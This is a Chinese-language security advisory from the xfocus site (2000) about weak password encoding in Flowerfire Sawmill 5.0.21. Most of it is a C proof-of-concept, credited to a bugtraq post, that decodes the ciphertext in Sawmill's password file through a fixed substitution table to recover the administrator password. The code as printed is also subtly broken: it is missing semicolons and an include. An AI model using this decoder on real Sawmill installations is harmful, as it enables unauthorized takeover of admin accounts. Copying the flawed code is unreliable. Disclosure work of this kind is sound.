xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Flowerfire Sawmill弱密码漏洞


发布时间:2000-09-15
更新时间:2000-09-15
严重程度:
威胁程度:口令恢复
错误类型:设计错误
利用方式:服务器模式

受影响系统
Flowerfire Sawmill 5.0.21
详细描述
Sawmill是一个站点统计的软件包,windows\unix\mac都可以使用,但是它的加密便用了不安全的哈希函数,攻击者可能读取它的password文件,并将其解密以获得Sawmill的管理员权限。

测试代码
下面的代码由Larry Cashdollar <lwc@vapid.dhs.org> 在bugtraq上发布

/*Decrypt password for Sawmill admin account.

Larry W. Cashdollar
lwc@vapid.betteros.org
http://vapid.betteros.org
usage ./decrypt cyphertext

*/

#include <stdio.h>



char *alpha ="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+~<>?:\"{}|"
char *encode="=GeKMNQS~TfUVWXY[abcygimrs\"#$&-]FLq4.@wICH2!oEn}Z%(Ovt{z"

int
main (int argc, char **argv)
{

int x, y;
char cypher[128];

strncpy (cypher, argv[1], 128);

for (x = 0; x < strlen (cypher); x++)
{

for (y = 0; y < strlen (encode); y++)
if (cypher[x] == encode[y])
printf ("%c", alpha[y]);

}

printf("\n\"+\" could also be a space [ ]\n");

}

解决方案
尚无

相关信息